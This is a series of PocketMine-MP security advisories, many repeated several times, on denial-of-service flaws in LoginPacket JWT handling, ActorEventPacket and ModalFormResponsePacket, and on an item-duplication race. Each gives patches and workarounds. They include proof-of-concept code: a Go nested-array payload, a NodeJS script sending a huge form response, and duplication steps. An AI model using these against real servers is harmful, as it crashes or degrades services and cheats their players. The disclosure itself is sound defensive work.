pocketmine/pocketmine-mp

Impact

Attackers can fill the body of the clientData JWT in LoginPacket with lots of junk properties, causing the server to flood warning messages, as well as wasting CPU time.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

Patches

This issue was fixed in c1d4a813fb8c21bfd8b9affd040da864b794df71 by restricting the number of unknown properties to 10, and rejecting the packet if this limit is exceeded. This continues to tolerate random additions to the JWT between versions, while preventing the logger from being abused by clients to slow down the server.

Workarounds

Plugins can handle DataPacketReceiveEvent to capture LoginPacket, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using JsonMapper (see the original affected code below) and setting the bExceptionOnUndefinedProperty flag to true. A JsonMapper_Exception will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

References

Affected code:

https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303 https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350

Impact

Attackers can fill the body of the clientData JWT in LoginPacket with lots of junk properties, causing the server to flood warning messages, as well as wasting CPU time.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

Patches

This issue was fixed in c1d4a813fb8c21bfd8b9affd040da864b794df71 by restricting the number of unknown properties to 10, and rejecting the packet if this limit is exceeded. This continues to tolerate random additions to the JWT between versions, while preventing the logger from being abused by clients to slow down the server.

Workarounds

Plugins can handle DataPacketReceiveEvent to capture LoginPacket, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using JsonMapper (see the original affected code below) and setting the bExceptionOnUndefinedProperty flag to true. A JsonMapper_Exception will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

References

Affected code:

https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303 https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350

Impact

Attackers can fill the body of the clientData JWT in LoginPacket with lots of junk properties, causing the server to flood warning messages, as well as wasting CPU time.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

Patches

This issue was fixed in c1d4a813fb8c21bfd8b9affd040da864b794df71 by restricting the number of unknown properties to 10, and rejecting the packet if this limit is exceeded. This continues to tolerate random additions to the JWT between versions, while preventing the logger from being abused by clients to slow down the server.

Workarounds

Plugins can handle DataPacketReceiveEvent to capture LoginPacket, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using JsonMapper (see the original affected code below) and setting the bExceptionOnUndefinedProperty flag to true. A JsonMapper_Exception will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

References

Affected code:

https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303 https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350

Impact

Attackers can put large and/or complex structures as a value to an unknown property in the clientData JWT body in the Minecraft LoginPacket, causing the server to generate very long log messages. Additionally, the property name is logged without any length limitations or sanitization, which can also be abused for LogDoS.

This may be used to spam the log/console, waste CPU time serializing the offending structure, and potentially to crash the server entirely.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

PoC

1. Connect to the server using a custom client.

2. Send a Minecraft LoginPacket containing an unexpected JSON property (e.g., invalid_key) within the ClientData.

3. Set the value of invalid_key to a highly recursive or massive object structure (e.g., an array containing millions of elements or deeply nested arrays).

4. The server hits the warnUndefinedJsonPropertyHandler, which attempts to var_export the malicious object, leading to an Out-of-Memory crash.

A := make([]interface{}, 1)
	ptr := &A
	for i := 0; i < 500; i++ {
		next := make([]interface{}, 1000)
		(*ptr)[0] = next
		ptr = &next
	}
	data := make([]int, 2000000)
	for i := 0; i < 100; i++ {
		data[i] = i
	}
	(*ptr)[0] = data
	d.PlayFabID = A

Patches

The issue was addressed in https://github.com/pmmp/PocketMine-MP/commit/87d1c0cea09d972fd4c2fafb84dac2ecab7649f0 by removing the relevant var_export and limiting the length of the logged property name to 80 characters.

Workarounds

Plugins can handle DataPacketReceiveEvent to capture LoginPacket, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using JsonMapper (see the original affected code below) and setting the bExceptionOnUndefinedProperty flag to true. A JsonMapper_Exception will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

Impact

Attackers can fill the body of the clientData JWT in LoginPacket with lots of junk properties, causing the server to flood warning messages, as well as wasting CPU time.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

Patches

This issue was fixed in c1d4a813fb8c21bfd8b9affd040da864b794df71 by restricting the number of unknown properties to 10, and rejecting the packet if this limit is exceeded. This continues to tolerate random additions to the JWT between versions, while preventing the logger from being abused by clients to slow down the server.

Workarounds

Plugins can handle DataPacketReceiveEvent to capture LoginPacket, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using JsonMapper (see the original affected code below) and setting the bExceptionOnUndefinedProperty flag to true. A JsonMapper_Exception will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

References

Affected code:

https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303 https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350

Impact

Attackers can put large and/or complex structures as a value to an unknown property in the clientData JWT body in the Minecraft LoginPacket, causing the server to generate very long log messages. Additionally, the property name is logged without any length limitations or sanitization, which can also be abused for LogDoS.

This may be used to spam the log/console, waste CPU time serializing the offending structure, and potentially to crash the server entirely.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

PoC

1. Connect to the server using a custom client.

2. Send a Minecraft LoginPacket containing an unexpected JSON property (e.g., invalid_key) within the ClientData.

3. Set the value of invalid_key to a highly recursive or massive object structure (e.g., an array containing millions of elements or deeply nested arrays).

4. The server hits the warnUndefinedJsonPropertyHandler, which attempts to var_export the malicious object, leading to an Out-of-Memory crash.

A := make([]interface{}, 1)
	ptr := &A
	for i := 0; i < 500; i++ {
		next := make([]interface{}, 1000)
		(*ptr)[0] = next
		ptr = &next
	}
	data := make([]int, 2000000)
	for i := 0; i < 100; i++ {
		data[i] = i
	}
	(*ptr)[0] = data
	d.PlayFabID = A

Patches

The issue was addressed in https://github.com/pmmp/PocketMine-MP/commit/87d1c0cea09d972fd4c2fafb84dac2ecab7649f0 by removing the relevant var_export and limiting the length of the logged property name to 80 characters.

Workarounds

Plugins can handle DataPacketReceiveEvent to capture LoginPacket, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using JsonMapper (see the original affected code below) and setting the bExceptionOnUndefinedProperty flag to true. A JsonMapper_Exception will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

Impact

Attackers can fill the body of the clientData JWT in LoginPacket with lots of junk properties, causing the server to flood warning messages, as well as wasting CPU time.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

Patches

This issue was fixed in c1d4a813fb8c21bfd8b9affd040da864b794df71 by restricting the number of unknown properties to 10, and rejecting the packet if this limit is exceeded. This continues to tolerate random additions to the JWT between versions, while preventing the logger from being abused by clients to slow down the server.

Workarounds

Plugins can handle DataPacketReceiveEvent to capture LoginPacket, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using JsonMapper (see the original affected code below) and setting the bExceptionOnUndefinedProperty flag to true. A JsonMapper_Exception will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

References

Affected code:

https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303 https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350

Impact

Attackers can put large and/or complex structures as a value to an unknown property in the clientData JWT body in the Minecraft LoginPacket, causing the server to generate very long log messages. Additionally, the property name is logged without any length limitations or sanitization, which can also be abused for LogDoS.

This may be used to spam the log/console, waste CPU time serializing the offending structure, and potentially to crash the server entirely.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

PoC

1. Connect to the server using a custom client.

2. Send a Minecraft LoginPacket containing an unexpected JSON property (e.g., invalid_key) within the ClientData.

3. Set the value of invalid_key to a highly recursive or massive object structure (e.g., an array containing millions of elements or deeply nested arrays).

4. The server hits the warnUndefinedJsonPropertyHandler, which attempts to var_export the malicious object, leading to an Out-of-Memory crash.

A := make([]interface{}, 1)
	ptr := &A
	for i := 0; i < 500; i++ {
		next := make([]interface{}, 1000)
		(*ptr)[0] = next
		ptr = &next
	}
	data := make([]int, 2000000)
	for i := 0; i < 100; i++ {
		data[i] = i
	}
	(*ptr)[0] = data
	d.PlayFabID = A

Patches

The issue was addressed in https://github.com/pmmp/PocketMine-MP/commit/87d1c0cea09d972fd4c2fafb84dac2ecab7649f0 by removing the relevant var_export and limiting the length of the logged property name to 80 characters.

Workarounds

Plugins can handle DataPacketReceiveEvent to capture LoginPacket, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using JsonMapper (see the original affected code below) and setting the bExceptionOnUndefinedProperty flag to true. A JsonMapper_Exception will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

Impact

Attackers can fill the body of the clientData JWT in LoginPacket with lots of junk properties, causing the server to flood warning messages, as well as wasting CPU time.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

Patches

This issue was fixed in c1d4a813fb8c21bfd8b9affd040da864b794df71 by restricting the number of unknown properties to 10, and rejecting the packet if this limit is exceeded. This continues to tolerate random additions to the JWT between versions, while preventing the logger from being abused by clients to slow down the server.

Workarounds

Plugins can handle DataPacketReceiveEvent to capture LoginPacket, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using JsonMapper (see the original affected code below) and setting the bExceptionOnUndefinedProperty flag to true. A JsonMapper_Exception will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

References

Affected code:

https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303 https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350

Impact

Attackers can put large and/or complex structures as a value to an unknown property in the clientData JWT body in the Minecraft LoginPacket, causing the server to generate very long log messages. Additionally, the property name is logged without any length limitations or sanitization, which can also be abused for LogDoS.

This may be used to spam the log/console, waste CPU time serializing the offending structure, and potentially to crash the server entirely.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

PoC

1. Connect to the server using a custom client.

2. Send a Minecraft LoginPacket containing an unexpected JSON property (e.g., invalid_key) within the ClientData.

3. Set the value of invalid_key to a highly recursive or massive object structure (e.g., an array containing millions of elements or deeply nested arrays).

4. The server hits the warnUndefinedJsonPropertyHandler, which attempts to var_export the malicious object, leading to an Out-of-Memory crash.

A := make([]interface{}, 1)
	ptr := &A
	for i := 0; i < 500; i++ {
		next := make([]interface{}, 1000)
		(*ptr)[0] = next
		ptr = &next
	}
	data := make([]int, 2000000)
	for i := 0; i < 100; i++ {
		data[i] = i
	}
	(*ptr)[0] = data
	d.PlayFabID = A

Patches

The issue was addressed in https://github.com/pmmp/PocketMine-MP/commit/87d1c0cea09d972fd4c2fafb84dac2ecab7649f0 by removing the relevant var_export and limiting the length of the logged property name to 80 characters.

Workarounds

Plugins can handle DataPacketReceiveEvent to capture LoginPacket, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using JsonMapper (see the original affected code below) and setting the bExceptionOnUndefinedProperty flag to true. A JsonMapper_Exception will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

Impact

Attackers can fill the body of the clientData JWT in LoginPacket with lots of junk properties, causing the server to flood warning messages, as well as wasting CPU time.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

Patches

This issue was fixed in c1d4a813fb8c21bfd8b9affd040da864b794df71 by restricting the number of unknown properties to 10, and rejecting the packet if this limit is exceeded. This continues to tolerate random additions to the JWT between versions, while preventing the logger from being abused by clients to slow down the server.

Workarounds

Plugins can handle DataPacketReceiveEvent to capture LoginPacket, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using JsonMapper (see the original affected code below) and setting the bExceptionOnUndefinedProperty flag to true. A JsonMapper_Exception will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

References

Affected code:

https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303 https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350

Summary

When an entity dies, the entity is flagged for despawn, but remains in the World's entity table, meaning it's still accessible by doing World->getEntity($entityId) and other methods. The same is true of a player when quitting the server.

When a network packet arrives from a client to attack an entity, the handler fetches the entity using World->getEntity($entityId) without any checks if the entity is already marked for despawning. Depending on the timing, the entity in question might already be in the flagged-for-despawn state when the action is processed. This means that the death handler for the entity might be run multiple times, causing loot and XP to be dropped multiple times, among other potential side effects.

Reproducing steps

To reproduce this vulnerability, two clients (Player A and Player B) are required.

Prerequisites: - Player A (Victim): Must have the valuable items to be duplicated in their inventory and 1 HP (to ensure instant death). - Player B (Attacker): Must be equipped with a weapon capable of dealing at least 1 damage.

Steps: 1. Player A and Player B stand next to each other. 2. Player A initiates the disconnect sequence (e.g., clicking "Disconnect" or "Exit to Menu"). 3. Immediately after Player A triggers the disconnect (within a split-second window), Player B must attack and kill Player A. 4. Player A's character dies server-side, and their inventory drops on the ground. 5. Player B collects the dropped items. 6. Player A logs back into the server. 7. Result: Player A still possesses the original items in their inventory, while Player B holds the dropped copies.

Patches

The issue was fixed in https://github.com/pmmp/PocketMine-MP/commit/c0719b76b18f2508143134e79bc9f1aa39109683 by adding checks for flagged-for-despawn entities in several affected locations.

While a cleaner fix would be to have World's various entity accessing methods exclude flagged-for-despawn entities, this was deemed too risky for 5.x as it would require significant internal changes.

Workarounds

Plugins can mitigate this issue on older versions by handling EntityDamageByEntityEvent, checking if the victim entity is flagged for despawn, and if so, cancelling the event.

Impact

The server handles ActorEventPacket to trigger consuming animations from vanilla clients when they eat food or drink potions.

This can be abused to make the server spam other clients, and to waste server CPU and memory. For every ActorEventPacket sent by the client, an animation event will be sent to every other player the attacker is visible to.

This is similar to various other vulnerabilities which were fixed in the network overhaul of PM4 (e.g. AnimatePacket and LevelSoundEventPacket), but somehow this one slipped through the net.

Patches

The problem was addressed in aeea1150a772a005b92bd418366f1b7cf1a91ab5 by changing the mechanism for consuming animations to be fully controlled by the server. ActorEventPacket from the client is now discarded.

Workarounds

A plugin could use DataPacketDecodeEvent to rate-limit ActorEventPacket to prevent the attack.

Impact

The server does not meaningfully limit the size of the JSON payload in ModalFormResponsePacket. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.

The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

Patches

The issue was fixed in two parts:

• cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
• f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

Workarounds

This issue can be worked around in a plugin using DataPacketReceiveEvent by:

• checking the max size of the formData field
• making sure the form ID is not repeated

However, a full workaround for the issue would require reflection to access the Player->forms property, which is not exposed via any accessible API prior to 5.39.2.

PoC

1. Join a PocketMine-MP server as a regular player (no special permissions needed).

2. Use a modified client or packet-sending script to send a ModalFormResponsePacket with:

   • Any non-existent formId
   • formData containing a massive JSON array (e.g., 10+ MB payload).

3. The server will attempt to parse the JSON and may freeze or become unresponsive.

Example NodeJS pseudocode:

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'Test';

const client = createClient({
  host,
  port,
  username,
  offline: true
});

const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';

client.on('spawn', () => {
  console.log('[*] Connected & spawned. Sending malicious packet...');

  client.write('modal_form_response', {
    formId: 9999,       // Form inexistant
    formData: hugePayload // JSON énorme
  });

  console.log('[*] Packet sent. The server should start freezing shortly.');
});

Impact

Attackers can put large and/or complex structures as a value to an unknown property in the clientData JWT body in the Minecraft LoginPacket, causing the server to generate very long log messages. Additionally, the property name is logged without any length limitations or sanitization, which can also be abused for LogDoS.

This may be used to spam the log/console, waste CPU time serializing the offending structure, and potentially to crash the server entirely.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

PoC

1. Connect to the server using a custom client.

2. Send a Minecraft LoginPacket containing an unexpected JSON property (e.g., invalid_key) within the ClientData.

3. Set the value of invalid_key to a highly recursive or massive object structure (e.g., an array containing millions of elements or deeply nested arrays).

4. The server hits the warnUndefinedJsonPropertyHandler, which attempts to var_export the malicious object, leading to an Out-of-Memory crash.

A := make([]interface{}, 1)
	ptr := &A
	for i := 0; i < 500; i++ {
		next := make([]interface{}, 1000)
		(*ptr)[0] = next
		ptr = &next
	}
	data := make([]int, 2000000)
	for i := 0; i < 100; i++ {
		data[i] = i
	}
	(*ptr)[0] = data
	d.PlayFabID = A

Patches

The issue was addressed in https://github.com/pmmp/PocketMine-MP/commit/87d1c0cea09d972fd4c2fafb84dac2ecab7649f0 by removing the relevant var_export and limiting the length of the logged property name to 80 characters.

Workarounds

Plugins can handle DataPacketReceiveEvent to capture LoginPacket, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using JsonMapper (see the original affected code below) and setting the bExceptionOnUndefinedProperty flag to true. A JsonMapper_Exception will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

Impact

Attackers can fill the body of the clientData JWT in LoginPacket with lots of junk properties, causing the server to flood warning messages, as well as wasting CPU time.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

Patches

This issue was fixed in c1d4a813fb8c21bfd8b9affd040da864b794df71 by restricting the number of unknown properties to 10, and rejecting the packet if this limit is exceeded. This continues to tolerate random additions to the JWT between versions, while preventing the logger from being abused by clients to slow down the server.

Workarounds

Plugins can handle DataPacketReceiveEvent to capture LoginPacket, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using JsonMapper (see the original affected code below) and setting the bExceptionOnUndefinedProperty flag to true. A JsonMapper_Exception will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

References

Affected code:

https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303 https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350